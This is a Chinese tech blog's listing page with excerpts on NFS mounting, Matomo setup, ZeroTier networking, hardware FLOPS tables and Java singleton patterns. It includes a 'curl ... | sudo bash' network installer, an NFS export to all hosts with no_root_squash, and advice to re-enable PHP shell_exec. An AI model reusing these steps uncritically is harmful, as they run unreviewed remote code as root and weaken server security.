首页
壁纸
留言板
友链
更多
统计归档
Search
1
TensorBoard:训练日志及网络结构可视化工具
12,711 阅读
2
主板开机跳线接线图【F_PANEL接线图】
11,213 阅读
3
移动光猫获取超级密码&开启公网ipv6
9,454 阅读
4
Linux使用V2Ray 原生客户端
7,771 阅读
5
NVIDIA 显卡限制功率
3,611 阅读
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
linux
k8s
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
登录
/
注册
Search
标签搜索
好物分享
学习笔记
linux
MySQL
nvidia
typero
内网穿透
webdav
vps
java
cudann
gcc
cuda
树莓派
CNN
图像去雾
ssh安全
nps
暗通道先验
阿里云
jupiter
累计撰写
360
篇文章
累计收到
119
条评论
首页
栏目
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
linux
k8s
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
页面
壁纸
留言板
友链
统计归档
搜索到
360
篇与
的结果
2021-12-21
nfs:Linux下挂载远程硬盘工具
本问以ubuntu为例,其他类似1.介绍NFS是Network File System的缩写,即网络文件系统。一种使用于分散式文件协定,功能是通过网络让不同的机器、不同的操作系统能够分享个人数据,让应用程序通过网络可以访问位于服务器磁盘中的数据。NFS在文件传送或信息传送的过过程中,依赖于RPC协议。RPC,远程过程调用(Remote Procedure Call),是使客户端能够执行其他系统中程序的一种机制。NFS本身是没有提供信息传输的协议和功能的,但NFS却能让我们通过网络进行资料的分享,就是因为NFS使用了RPC提供的传输协议,可以说NFS就是使用PRC的一个程序。NFS 存储 服务器主要用于用户上传的数据 ,图片 音频 、等信息 NFS服务端、RPC协议、客户端三者可以理解为房源、中介、租客之间的关系:2.应用场景现有两台Linux Server,需要把Linux01 下的硬盘/文件夹挂在到 Linux02 下;3.配置步骤-服务器端3.1 安装nfs-serversudo apt install nfs-server3.2 修改/etc/exports发布可供硬盘/文件夹sudo vim /etc/exports 然后输入: /datadrive02 *(insecure,rw,sync,no_root_squash,no_subtree_check) # /datadrive02 为需要挂载出去的硬盘 /datadrive02 :共享的目录 * :指定哪些用户可以访问 * 所有可以ping同该主机的用户 192.168.1.* 指定网段,在该网段中的用户可以挂载 192.168.1.12 只有该用户能挂载 (ro,sync,no_root_squash): 权限 ro : 只读 rw : 读写 sync : 同步 no_root_squash: 不降低root用户的权限3.3 重启 nfs-serversudo service nfs-server restart3.4 验证发布showmount -e + 主机IP(base) jupiter@dell:~$ showmount -e 127.0.0.1 Export list for 127.0.0.1: /data/project/音频剪辑/audio *4.挂载步骤-客户端4.1 安装 nfs-commonsudo apt install nfs-common4.2 挂载# sudo mount -t nfs 远程硬盘 挂载到本地后的名字(路径) sudo mount -t nfs 10.1.9.24:/data/project/音频剪辑/audio /audio4.3 验证(base) v100@v100:~$ df -h 文件系统 容量 已用 可用 已用% 挂载点 udev 16G 0 16G 0% /dev tmpfs 3.2G 124M 3.1G 4% /run /dev/sdb3 909G 166G 698G 20% / tmpfs 16G 59M 16G 1% /dev/shm tmpfs 5.0M 4.0K 5.0M 1% /run/lock tmpfs 16G 0 16G 0% /sys/fs/cgroup /dev/sdb1 975M 3.7M 971M 1% /boot/efi tmpfs 3.2G 28K 3.2G 1% /run/user/108 tmpfs 3.2G 96K 3.2G 1% /run/user/1000 /dev/sda1 3.7T 568G 3.1T 16% /data /dev/sdd2 3.7T 3.1T 630G 84% /4t /dev/sds1 466G 365G 102G 79% /drive /dev/sdu4 115G 39G 76G 34% /drive2 10.1.9.24:/data/project/音频剪辑/audio 458G 263G 172G 61% /audio参考资料Linux(Ubuntu)通过nfs挂载远程硬盘Ubuntu配置NFS的方法Linux下部署NFS服务 (* ̄︶ ̄)
2021年12月21日
1,020 阅读
0 评论
0 点赞
2021-12-21
Matomo:–免费开源的网站流量统计系统
1.简介Matomo(前身为Piwik)是一款很受欢迎的Google Analytics的开源替代工具。与Google Analytics不同,Matom是在你自己的服务器上托管的,你可以拥有你所有的数据。2.配置步骤2.1下载下载地址:https://builds.matomo.org/matomo.zip官网:https://matomo.org/安装文档:https://matomo.org/docs/installation/2.2 安装(宝塔环境,原生环境需要自行配置)解压然后在宝塔的控制台添加网站配置域名并将解压后的目录设置为网站根目录。然后我们用访问域名开始安装,不过首先可以把默认语言改成中文:下一步,web 环境检查,一般遇到的问题是 shell_exec 函数禁用,我们需要启用这个函数。在 php 管设置→禁用函数→删除 shell_exec 函数禁用:这时候重新检测 web 环境,我们看到已经全部通过。如图:接着下一步,需要填写数据库信息等等大家根据自己的数据库信息来填写吧:填写好之后,下一步,我们看到成功填写的信息,如图:继续下一步,这里需要设置管理员了,如图:下一步,需要设置需要被统计的网站,如图:接着下一步,设置被统计网站,如图:接着下一步,就设置完成了所有的需要设置的东东。三:基本设置我们登入到已安装好的 matomo 后台,后台和 wordpress 很像,已经极尽完善了,默认内置了 46 种插件,基本不需要安装什么插件了就可以使用了:如果我们需要安装插件,比如说安装 ip 地址位置插件,我们这样在插件管理中安装新插件:插件商城插件种类丰富,因为内置的是 GeoIP 如果你需要更换一个可以安装 IP2,如图:我们点击安装即可。当然你也可以直接在功能面板的左侧找到商城然后点击之后进去安装即可。参考资料Matomo前端埋点 matomo 详细安装配置 (一)Matomo – 免费开源的网站流量统计系统
2021年12月21日
952 阅读
0 评论
0 点赞
2021-12-20
ZeroTier:快速实现虚拟局域网VLAN/内网穿透
1.简介zerotier是一个软交换机,使用zerotier可以让多台内网机器组成一个局域网。官网: https://my.zerotier.comZeroTier 支持 Windows、macOS、Linux 三大主流平台,iOS、Android 两大移动平台,以及 QNAP(威连通)、Synology(群晖)、Western Digital MyCloud NAS(西部数据)三个 NAS 平台,还支持 LEDE 开源路由器项目。2.使用步骤2.1 注册 ZeroTier注册地址:https://my.zerotier.com/2.2创建私有局域网,获得 Network ID,然后修改Access Control进入https://my.zerotier.com/network点击Create创建网络点击进入已创建的网络,修改Access Control,默认是Certificate (Private Network),选择此模式表示每次在添加新的主机时,需要手动勾选是否允许连接,如果选择None (Public Network)模式,表示加入网络后自动分配IP并允许连接,从安全性来说建议使用默认选项Certificate (Private Network),方便性来看None (Public Network)更方便,不用每次加入网络后手动勾选。2.3客户端安装方式Linuxcurl -s https://install.zerotier.com | sudo bash如果要让他开机自启动,运行:sudo systemctl start zerotier-one.service sudo systemctl enable zerotier-one.serviceWindows或者macOS、Android、iOS等那么可以在 https://www.zerotier.com/download/ 下载zerotierr然后安装2.4连接,加入 Network IDsudo zerotier-cli join 83048a0632246d2c #填写自己的 Network ID2.5 验证ip a这个时候执行一下 ip a 你会发现多了一个叫做 ztuzethlza 或者类似名字的设备,还有IP地址,这就是zerotier组建的局域网的IP 地址zt3jnq5mka: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 2800 qdisc fq_codel state UNKNOWN group default qlen 1000 link/ether f6:4e:f8:49:0d:52 brd ff:ff:ff:ff:ff:ff inet 172.30.204.211/16 brd 172.30.255.255 scope global zt3jnq5mka valid_lft forever preferred_lft forever inet6 fe80::8e0:6ff:fe0e:1737/64 scope link valid_lft forever preferred_lft forever参考资料ZeroTier – 无配置,零基础「内网穿透」随时随地连回家/学校/办公室 -跨平台https://www.zerotier.com/download/zerotier简明教程无公网IP通过ZeroTier方便实现内网穿透(详细)
2021年12月20日
1,265 阅读
0 评论
0 点赞
2021-12-15
树莓派以及一些常见的硬件设备的浮点计算能力FLOPS
1.The GFLOPS/W of the various machines in the VMW Research Group#NameGFLOPS/WGFLOPSAverage PowerMax PowerIdle PowerarchvendortypeCores/ThreadsRAMOtherLinpack Settings1haswell-ep2.13 GFLOPS/W428 GFLOPS201 W298 W58.7 Wx86_64Intel 6/63/2hsw e5-2640v316 (32)80GB (N=80000, 16 threads, OpenBLAS)5Raspberry Pi-4B (4GB) 64-bit kernel/userspace2.02 GFLOPS/W13.5 GFLOPS6.66W7.30W2.56Waarch64ARMv8Cortex A7244GB (N=20000, 4 threads, OpenBLAS)3haswell/quadro (cpu only)1.68 GFLOPS/W181 GFLOPS107.9 W134.1 W29.3 Wx86_64Intel 6/60/3hsw i7-47904 (8)16GBQuadro K2200(N=40000, 4 threads, OpenBLAS)4broadwell macbookair1.64 GFLOPS/W47.7 GFLOPS29.1 W32.6 W10.0 Wx86_64Intel 6/61/4bdw i5-5250U2 (4)4GBmacbook-air(N=20000, 2 threads, OpenBLAS)5haswell desktop1.56 GFLOPS/W145 GFLOPS92.7 W126.6 W22.3 Wx86_64Intel 6/60/3hsw i7-47704 (8)4GB (N=20000, 4 threads, OpenBLAS)6Raspberry Pi-4B (1GB)1.50 GFLOPS/W9.92 GFLOPS6.6W7.9W2.9WARMARMv7/8Cortex A7241GB (N=9000, 4 threads, OpenBLAS)7haswell desktop (instrumented)1.47 GFLOPS/W115 GFLOPS80.6 W107 W25.9 Wx86_64Intel 6/60/3hsw i5-4570S4 (4)4GB (N=20000, 4 threads, OpenBLAS)8Raspberry Pi-4B (4GB)1.35 GFLOPS/W9.69 GFLOPS7.2W8.2W2.8WARMARMv7/8Cortex A7244GB (N=19000, 4 threads, OpenBLAS)9ivb mac-mini1.21 GFLOPS/W41.2 GFLOPS33.9 W35.8 W11.5 Wx86_64Intel 6/58/9ivb i5-3210M2 (4)4GB (N=20000, 2 threads, OpenBLAS)10jetson-tx11.20 GFLOPS/W16 GFLOPS13.4 W15.3 W2.1 WARMARMv8CortexA5744GBNVIDIA(N=20000, 4 thread, OpenBLAS)11Raspberry Pi-3A+1.19 GFLOPS/W5.00 GFLOPS4.1W7.6W1.4WARMARMv7/8Cortex A534512MB (N=5000, 4 threads, OpenBLAS)12raspberry pi 2B-v1.21.07 GFLOPS/W4.43 GFLOPS4.1W5.1W1.7WARMARMv7/8Cortex A5341GB2B-v1.2(N=8000, 4 threads, OpenBLAS)13ivb macbook-air1.02 GFLOPS/W34.5 GFLOPS34.0 W37.2 W13.8 Wx86_64Intel 6/58/9ivb i5-3427U2 (4)4GB (N=10000, 2 threads, OpenBLAS)14raspberry pi30.813 GFLOPS/W*3.62 GFLOPS4.3W4.8W1.8WARMARMv7/8Cortex A5341GB3 Model B(N=6000*, 4 threads, OpenBLAS)15fam17h-epyc0.795 GFLOPS/W109 GFLOPS137 W151 W67 Wx86_64AMD 23/1/2EPYC 72518 (16)16GB (N=40000, 8 threads, OpenBLAS)16raspberry pi 3B+0.73 GFLOPS/W5.3 GFLOPS7.3W9.4W2.6WARMARMv7/8Cortex A5341GB3B+(N=10000, 4 threads, OpenBLAS)17odroid-xu0.599 GFLOPS/W8.3 GFLOPS13.9 W18.4 W2.7 WARMARMv7Cortex A7/A154 Big 4 Little2GBExynos 5 Octa(N=12000, 4 threads, OpenBLAS)18fam15h-piledriver0.466 GFLOPS/W122 GFLOPS262 W335 W167 Wx86_64AMD 21/2/0Opteron 637616 (32)16GB (N=40000, 16 threads, OpenBLAS)19dragonboard0.450 GFLOPS/W2.10 GFLOPS4.7W5.7W2.4WARMARMv8Cortex-A5341GBSnapdragon 410c(N=8000, 4 threads, OpenBLAS)20haswell/quadro (GPU only)0.436 GFLOPS/W38.4 GFLOPS (Double)88.0 W121.1 W29.2 WNVIDIAQuadro K2200 4GB (N=40000, hpl-cuda)21raspberry pi20.432 GFLOPS/W1.47 GFLOPS3.4 W3.6 W1.8 WARMARMv7Cortex A741GBModel 2(N=10000, 4 threads, OpenBLAS)22fam15h-a100.432 GFLOPS/W54 GFLOPS125.6 W148.6 W28.2 Wx86_64AMD 21/19/1A10-6800B48GB (N=30000, 4 threads, OpenBLAS)23fam16h-a8-jaguar0.354 GFLOPS/W14.1 GFLOPS39.7 W43.6 W22.5 Wx86_64AMD 22/48/1A8-641044GB (N=10000, 4 threads, OpenBLAS)24core20.292 GFLOPS/W18.0 GFLOPS61.7 W67.9 W23.4 Wx86_64Intel 6/23/10Core2 P870024GB (N=15000, 2 threads, OpenBLAS)25chromebook0.277 GFLOPS/W3.0 GFLOPS10.7 W11.1 W5.9 WARMARMv7Cortex A1522GBExynos 5 Dual(N=10000, 2 threads, OpenBLAS)26fam10h-phenom0.277 GFLOPS/W40.3 GFLOPS145.4 W175.0 W69.5 Wx86_64AMD 16/4/3Phenom II X4 95542GB (N=15000, 4 threads, OpenBLAS)27raspberry pi-zero-w0.238 GFLOPS/W0.247 GFLOPS1.0 W1.1 W0.6 WARMARMv6BCM28351512MBModel Zero-W(N=4000, 1 thread, OpenBLAS)28raspberry pi-zero0.236 GFLOPS/W0.319 GFLOPS1.3 W1.4 W0.8 WARMARMv6BCM28351512MBModel Zero(N=5000, 1 thread, OpenBLAS)29raspberry pi-aplus0.223 GFLOPS/W0.218 GFLOPS1.0 W1.0 W0.8 WARMARMv6BCM28351256MBModel A+(N=4000, 1 thread, OpenBLAS)30cubieboard20.194 GFLOPS/W0.861 GFLOPS4.4W4.6W2.2WARMARMv7Cortex A721GBAllwinner A20(N=8000, 2 threads, OpenBLAS)31atom-cedarview desktop0.170 GFLOPS/W3.1 GFLOPS18.2 W18.5 W15.5 Wx86_64Intel 6/54/1Atom D25502 (4)4GB (N=10000, 2 threads, OpenBLAS)32pi-cluster0.166 GFLOPS/W15.5 GFLOPS93.1 W96.8 W71.3 WarmCortex A7Raspberry Pi 29624GB (N=48000, 96 threads, OpenBLAS)33pandaboard-es0.163 GFLOPS/W0.951 GFLOPS5.8 W6.5 W3.0 WARMARMv7Cortex A921GBES, OMAP4(N=4000, 2 threads, OpenBLAS)34atom-cedarview server0.149 GFLOPS/W2.6 GFLOPS22.1 W22.4 W18.6 Wx86_64Intel 6/54/9Atom S12602 (4)4GB (N=20000, 2 threads, OpenBLAS)35raspberry pi-bplus0.118 GFLOPS/W0.213 GFLOPS1.8 W1.9 W1.6 WARMARMv6BCM28351512MBModel B+(N=5000, 1 thread, OpenBLAS)36fam14h-bobcat0.106 GFLOPS/W2.76 GFLOPS26.1 W27.1 W14.8 Wx86_64AMD 20/2/0Bobcat22GBG-T56N(N=8000, 2 threads, OpenBLAS)37raspberry pi compute-module0.103 GFLOPS/W0.217 GFLOPS2.1W2.2W1.9WARMARMv6BCM28351512MBPi Compute Module(N=6000, 1 thread, OpenBLAS)38atom-eeepc0.086 GFLOPS/W1.37 GFLOPS15.9 W16.3 W10.2 Wx86Intel 6/28/2Atom N2701 (2)2GBeeepc 901(N=12000, 2 threads, OpenBLAS)39raspberry pi b0.073 GFLOPS/W0.213 GFLOPS2.9 W3.0 W2.7 WARMARMv6BCM28351512MBModel B(N=5000, 1 thread, OpenBLAS)40Pentium D0.064 GFLOPS/W10.3 GFLOPS160.7 W180.5 W77.2 Wx86_64Intel 15/6/5Pentium 4/D1 (2)1GB (N=8000, 2 threads, OpenBLAS)41beaglebone-black0.026 GFLOPS/W0.068 GFLOPS2.6 W2.8 W1.9 WARMARMv7Cortex A81512MBTI AM3(N=5000, 1 thread, OpenBLAS)42gumstix-overo0.015 GFLOPS/W0.041 GFLOPS2.7 W2.8 W2.0 WARMARMv7Cortex A81256MBTI OMAP3(N=4000, 1 thread, ATLAS)43beagleboard-xm0.014 GFLOPS/W0.054 GFLOPS4.0 W4.3 W3.2 WARMARMv7Cortex A81512MBTI DM3730(N=5000, 1 thread, OpenBLAS)44Pentium II0.005 GFLOPS/W0.238 GFLOPS48.3 W48.7 W31.2 Wx86Intel 6/5/2Pentium II1256MB (N=3000, 1 thread, OpenBLAS)45sparc0.003 GFLOPS/W0.456 GFLOPS140.7W146.8W136.9WSUNSPARCUltra1512MBTI Ultrasparc II(N=5000, 1 thread, OpenBLAS)46appleII6.65E-9 GFLOPS/W1.33E-7 GFLOPS20.1 W20.1 W20.1 WMOS65C02Apple IIe1128kplatinum(N=10, 1 thread, BASIC)?ELF Membership Card???? GFLOPS???ELFRCA1802 132kB???(??, 1 thread)?sandybridge-ep?85 GFLOPS???x86_64Intel 6/45/?snb12 (24)16GB (N=40000 12 threads, ATLAS)?trimslice???? GFLOPS???ARMARMv7Cortex A921GBTegra2????octane???? GFLOPS???MIPSSGIMIPS R12k1??????(??, 1 thread)?avr32???? GFLOPS???AVR32AVRAP70001??????(??, 1 thread)?gumstix-netstix???? GFLOPS???ARMARMv5Intel PXA255164MB???(??, 1 thread)?k6-2+???? GFLOPS???x86AMDK6-2+1?????(??, 1 thread)?486???? GFLOPS???x86Cyrix486120MB???(??, 1 thread)?g3-iBook???? GFLOPS???PPCAppleG31640MB???(??, 1 thread)?g4-powerBook???? GFLOPS???PPCAppleG412 GB???(??, 1 thread)?p4???? GFLOPS???x86IntelPentium 41768MB???(??, 1 thread)?core duo???? GFLOPS???x86IntelCore Duo22 GB???(??, 1 thread)2.The top 50 fastest computers in the Weaver Research Group#NameFLOPSarchvendortypeCores/ThreadsRAMOtherLinpack Settings1haswell-ep436 GFLOPSx86_64Intel 6/63/2hsw e5-2640v316 (32)80GB (N=100000, 16 threads, OpenBLAS)2power8195 GFLOPSppc64elIBM power88348-21c8 (64)32GB (N=40000, 8 threads, OpenBLAS)3broadwell-ep184 GFLOPSx86_64Intel 6/79/1bdw e5-2620v48 (16)32GB (N=50000, 8 threads, OpenBLAS)4haswell/quadro (CPU only)180 GFLOPSx86_64Intel 6/60/3hsw i7-47904 (8)16GBQuadro K2200(N=40000, 4 threads, OpenBLAS)!haswell/quadro (GPU only)38.4 GFLOPS (Double)NVIDIAQuadro K2200 4GB (N=40000, hpl-cuda)5skylake desktop161 GFLOPSx86_64Intel 6/94/3skl i7-67004 (8)8GB (N=30000, 4 threads, OpenBLAS)6haswell desktop145 GFLOPSx86_64Intel 6/60/3hsw i7-47704 (8)4GB (N=20000, 4 threads, OpenBLAS)7fam17h-epyc131 GFLOPSx86_64AMD 23/1/2EPYC 72518 (16)16GB (N=42000, 8 threads, OpenBLAS)8fam15h-piledriver117 GFLOPSx86_64AMD 21/2/0Opteron 637616 (32)16GB (N=40000, 16 threads, OpenBLAS)9haswell desktop (instrumented)115 GFLOPSx86_64Intel 6/60/3hsw i5-4570S4 (4)4GB (N=20000, 4 threads, OpenBLAS)10sandybridge-ep85 GFLOPSx86_64Intel 6/45/?snb12 (24)16GB (N=40000 12 threads, ATLAS)11elitebook77 GFLOPSx86_64AMD 23/24/1Ryzen 7-3700U4 (8)16GBZen+ elitebook laptop(N=20000, 4 threads, OpenBLAS)12broadwell NUC66 GFLOPSx86_64Intel 6/61/4Broadwell i7-5557U2 (4)8GBIntel NUC(N=20000, 2 threads, OpenBLAS)13fam15h-a1054 GFLOPSx86_64AMD 21/19/1A10-6800B48GB (N=30000, 4 threads, OpenBLAS)14broadwell MacBookAir51 GFLOPSx86_64Intel 6/61/4Broadwell i5-5250U2 (4)4GBmacbook-air(N=20000, 2 threads, OpenBLAS)15fam10h-phenom41 GFLOPSx86_64AMD 16/4/3Phenom II X4 95542GB (N=15000, 4 threads, OpenBLAS)16ivb-mac-mini40 GFLOPSx86_64Intel 6/58/9ivb i5-3210M2 (4)4GB (N=20000, 2 threads, OpenBLAS)17ivb-macbook-air36 GFLOPSx86_64Intel 6/58/9ivb i5-3427U2 (4)4GB (N=10000, 2 threads, OpenBLAS)18core218.4 GFLOPSx86_64Intel 6/23/10Core2 P870024GB (N=20000, 2 threads, OpenBLAS)19jetson-tx116.0 GFLOPSARMARMv8CortexA5744GBNVIDIA(N=20000, 4 thread, OpenBLAS)20pi-cluster15.4 GFLOPSarmCortex A7Raspberry Pi 29624GB (N=48000, OpenBLAS)21fam16h-a8-jaguar14.0 GFLOPSx86_64AMD 22/48/1A8-641044GB (N=10000, 4 threads, OpenBLAS)22Raspberry Pi-400 (4GB)13.8 GFLOPSARMARMv8Cortex A7244GB (N=12000, 4 threads, OpenBLAS)23Raspberry Pi-4B (4GB) (64-bit user/kernel)13.5 GFLOPSARM64 / aarch64ARMv8Cortex A7244GB (N=20000, 4 threads, OpenBLAS)24Pentium D11.8 GFLOPSx86_64Intel 15/6/5Pentium 4/D1 (2)1GB (N=10000, 2 threads, OpenBLAS)25Raspberry Pi-4B (1GB)10.3 GFLOPSARMARMv7/v8Cortex A7241GB (N=9000, 4 threads, OpenBLAS)26Raspberry Pi-4B (4GB)9.9 GFLOPSARMARMv7/v8Cortex A7244GB (N=19000, 4 threads, OpenBLAS)27odroid-xu8.3 GFLOPSARMARMv7Cortex A7/A154 Big 4 Little2GBExynos 5 Octa(N=12000, 4 threads, OpenBLAS)28Raspberry pi-3B+5.47 GFLOPSARMARMv7/8Cortex A5341GB3 Model B+(N=6000, 4 threads, OpenBLAS)29chromebook5.44 GFLOPSARMARMv7Cortex A1522GBExynos 5 Dual(N=10000, 2 threads, OpenBLAS)30Raspberry Pi-3A+4.93 GFLOPSARMARMv7/8Cortex A534512MB (N=5000, 4 threads, OpenBLAS)31Raspberry pi-2b-v1.24.39 GFLOPSARMARMv7/8Cortex A5341GB2 Model B v1.2(N=8000, 4 threads, OpenBLAS)32Raspberry pi-3b3.62 GFLOPSARMARMv7/8Cortex A5341GB3 Model B(N=8000*, 4 threads, OpenBLAS)33atom-cedarview server3.35 GFLOPSx86_64Intel 6/54/9Atom S12602 (4)4GB (N=20000, 2 threads, OpenBLAS)34atom-cedarview desktop2.97 GFLOPSx86_64Intel 6/54/1Atom D25502 (4)4GB (N=20000, 4 threads, OpenBLAS)35fam14h-bobcat2.76 GFLOPSx86_64AMD 20/2/0Bobcat22GBG-T56N(N=8000, 2 threads, OpenBLAS)36dragonboard2.22 GFLOPSARMARMv8Cortex-A5341GBSnapdragon 410c(N=8000, 4 threads, OpenBLAS)37Raspberry pi-2b1.47 GFLOPSARMARMv7Cortex A741GBModel 2(N=10000, 4 threads, OpenBLAS)38atom-eeepc1.36 GFLOPSx86Intel 6/28/2Atom N2701 (2)2GBeeepc 901(N=10000, 2 threads, OpenBLAS)39pandaboard-es0.915 GFLOPSARMARMv7Cortex A921GBES, OMAP4(N=5000 *, 2 threads, OpenBLAS)40cubieboard20.859 GFLOPSARMARMv7Cortex A721GBAllwinner A20(N=8000, 2 threads, OpenBLAS)41sparc0.423 GFLOPSSUNSPARCUltra1512MBTI Ultrasparc II(N=5000, 1 thread, OpenBLAS)42Raspberry pi-zero0.319 GFLOPSARMARMv6BCM28351512MBModel Zero(N=5000, 1 thread, OpenBLAS)43Raspberry pi-zero-w0.247 GFLOPSARMARMv6BCM28351512MBModel Zero W(N=4000, 1 thread, OpenBLAS)44Pentium II0.241 GFLOPSx86Intel 6/5/2Pentium II1256MB (N=4000, 1 thread, OpenBLAS)45Raspberry pi-aplus0.223 GFLOPSARMARMv6BCM28351256MBModel A+(N=4000, 1 thread, OpenBLAS)46Raspberry pi compute-module0.217 GFLOPSARMARMv6BCM28351512MBPi Compute Module(N=5000, 1 thread, OpenBLAS)47Raspberry pi-b0.213 GFLOPSARMARMv6BCM28351512MBModel B(N=5000, 1 thread, OpenBLAS)48Raspberry pi-bplus0.213 GFLOPSARMARMv6BCM28351512MBModel B+(N=5000, 1 thread, OpenBLAS)49beaglebone-black0.068 GFLOPSARMARMv7Cortex A81512MBTI AM3(N=5000, 1 thread, OpenBLAS)50beagleboard-xm0.054 GFLOPSARMARMv7Cortex A81512MBTI DM3730(N=5000, 1 thread, OpenBLAS)51gumstix-overo0.041 GFLOPSARMARMv7Cortex A81256MBTI OMAP3(N=4000, 1 thread, OpenBLAS)52appleII133 FLOPSMOS65C02Apple IIe1128kplatinum(N=10, 1 thread, BASIC)?ELF Membership Card??? GFLOPSELFRCA1802 132kB???(??, 1 thread)?trimslice??? GFLOPSARMARMv7Cortex A921GBTegra2????octane??? GFLOPSMIPSSGIMIPS R12k1??????(??, 1 thread)?avr32??? GFLOPSAVR32AVRAP70001??????(??, 1 thread)?gumstix-netstix??? GFLOPSARMARMv5Intel PXA255164MB???(??, 1 thread)?k6-2+??? GFLOPSx86AMDK6-2+1?????(??, 1 thread)?486??? GFLOPSx86Cyrix486120MB???(??, 1 thread)?g3-iBook??? GFLOPSPPCAppleG31640MB???(??, 1 thread)?g4-powerBook??? GFLOPSPPCAppleG412 GB???(??, 1 thread)?p4??? GFLOPSx86IntelPentium 41768MB???(??, 1 thread)?core duo??? GFLOPSx86IntelCore Duo22 GB???(??, 1 thread)参考资料http://web.eece.maine.edu/~vweaver/group/green_machines.htmlhttp://web.eece.maine.edu/~vweaver/group/machines.htmlhttps://github.com/deater/performance_results
2021年12月15日
2,840 阅读
0 评论
0 点赞
2021-12-13
设计模式学习笔记2:单例模式
1.介绍单例模式的定义就是确保某一个类只有一个实例,并且提供一个全局访问点。这种类型的设计模式属于创建型模式。单例模式具有典型的三个特点:只有一个实例。自我实例化。提供全局访问点。应用实例:1、一个班级只有一个班主任。2、Windows 是多进程多线程的,在操作一个文件的时候,就不可避免地出现多个进程或线程同时操作一个文件的现象,所以所有文件的处理必须通过唯一的实例来进行。3、一些设备管理器常常设计为单例模式,比如一个电脑有两台打印机,在输出的时候就要处理不能两台打印机打印同一个文件。优点:1、在内存里只有一个实例,减少了内存的开销,尤其是频繁的创建和销毁实例(比如管理学院首页页面缓存)。2、避免对资源的多重占用(比如写文件操作)。缺点:没有接口,不能继承,与单一职责原则冲突,一个类应该只关心内部逻辑,而不关心外面怎么样来实例化。使用场景:1、要求生产唯一序列号。2、WEB 中的计数器,不用每次刷新都在数据库里加一次,用单例先缓存起来。3、创建的一个对象需要消耗的资源过多,比如 I/O 与数据库的连接等。2.几种实现方式2.1 懒汉式,线程不安全是否 Lazy 初始化:是是否多线程安全:否描述:这种方式是最基本的实现方式,这种实现最大的问题就是不支持多线程。因为没有加锁 synchronized,所以严格意义上它并不算单例模式。这种方式 lazy loading 很明显,不要求线程安全,在多线程不能正常工作。// 懒汉式单例 public class LazyMan { // 1.私有化构造函数 private LazyMan(){} // 2.先定义单例对象但不实例化 private static LazyMan lazyMan; // 3.当发起调用的时候判断对象是否实例化,如果未实例化,则实例化再返回,否则直接返回 public static LazyMan getInstance(){ if (lazyMan==null){ lazyMan = new LazyMan(); } return lazyMan; } }2.2 懒汉式,线程安全是否 Lazy 初始化:是是否多线程安全:是描述:这种方式具备很好的 lazy loading,能够在多线程中很好的工作,但是,效率很低,99% 情况下不需要同步。优点:第一次调用才初始化,避免内存浪费。缺点:必须加锁 synchronized 才能保证单例,但加锁会影响效率。// 懒汉式单例 public class LazyMan { // 1.私有化构造函数 private LazyMan(){} // 2.先定义单例对象但不实例化 private static LazyMan lazyMan; // 3.当发起调用的时候判断对象是否实例化,如果未实例化,则实例化再返回,否则直接返回 public static synchronized LazyMan getInstance(){ if (lazyMan==null){ lazyMan = new LazyMan(); } return lazyMan; } }2.3 饿汉式是否 Lazy 初始化:否是否多线程安全:是描述:这种方式比较常用,但容易产生垃圾对象。优点:没有加锁,执行效率会提高。缺点:类加载时就初始化,浪费内存。// 饿汉式单例模式 public class Hungry { // 1.私有化构造函数 private Hungry(){} // 2.事先创建好对象 private final static Hungry HUNGRY = new Hungry(); // 3.当需要调用的单例对象的时候通过暴露的公有的方法进行调用 public static Hungry getInstance(){ return HUNGRY; } }2.4 双检锁/双重校验锁(DCL,即 double-checked locking)/DCL懒汉式单例是否 Lazy 初始化:是是否多线程安全:是实现难度:较复杂描述:这种方式采用双锁机制,安全且在多线程情况下能保持高性能。// 懒汉式单例 public class LazyMan { // 1.私有化构造函数 private LazyMan(){} // 2.先定义单例对象但不实例化 private volatile static LazyMan lazyMan; // 3.当发起调用的时候判断对象是否实例化,如果未实例化,则实例化再返回,否则直接返回 public static LazyMan getInstance(){ // 双重检测锁模式的懒汉式单例 DCL懒汉式 if (lazyMan==null){ synchronized (LazyMan.class){ if (lazyMan==null){ lazyMan = new LazyMan(); } } } return lazyMan; } }为什么要加volatilelazyMan = new LazyMan(); // 不是一个原子性操作创建对象的过程不是一个原子操作,分为以下3步:1.分配内存空间2.执行构造方法,初始化对象3.把这个对象指向这个空间在执行的过程中可能会发生指令重排的现象,即我们真实想要的执行顺序是1->2->3。但是可能真实的执行顺序是1->3->2。则当线程A以1->3->2的顺序执行到3时,线程B也调用了返回对象实例的方法,则给线程B可能拿到未创建完成的对象进行调用从而导致出错。2.5 登记式/静态内部类是否 Lazy 初始化:是是否多线程安全:是描述:这种方式能达到双检锁方式一样的功效,但实现更简单。对静态域使用延迟初始化,应使用这种方式而不是双检锁方式。这种方式只适用于静态域的情况,双检锁方式可在实例域需要延迟初始化时使用。public class Singleton { private static class SingletonHolder { private static final Singleton INSTANCE = new Singleton(); } private Singleton (){} public static final Singleton getInstance() { return SingletonHolder.INSTANCE; } }2.6 枚举描述:这种实现方式还没有被广泛采用,但这是实现单例模式的最佳方法。它更简洁,自动支持序列化机制,绝对防止多次实例化。这种方式是 Effective Java 作者 Josh Bloch 提倡的方式,它不仅能避免多线程同步问题,而且还自动支持序列化机制,防止反序列化重新创建新的对象,绝对防止多次实例化。public enum Singleton { INSTANCE; public void whateverMethod() { } }3.反射下的单例模式3.1 V1:在单例类已经实例化了对象的条件下使用反射破坏单例3.1.1 示例package single; import java.lang.reflect.Constructor; // 懒汉式单例 public class LazyMan { // 1.私有化构造函数 private LazyMan(){} // 2.先定义单例对象但不实例化 private volatile static LazyMan lazyMan; // 3.当发起调用的时候判断对象是否实例化,如果未实例化,则实例化再返回,否则直接返回 public static LazyMan getInstance(){ // 双重检测锁模式的懒汉式单例 DCL懒汉式 if (lazyMan==null){ synchronized (LazyMan.class){ if (lazyMan==null){ lazyMan = new LazyMan(); } } } return lazyMan; } public 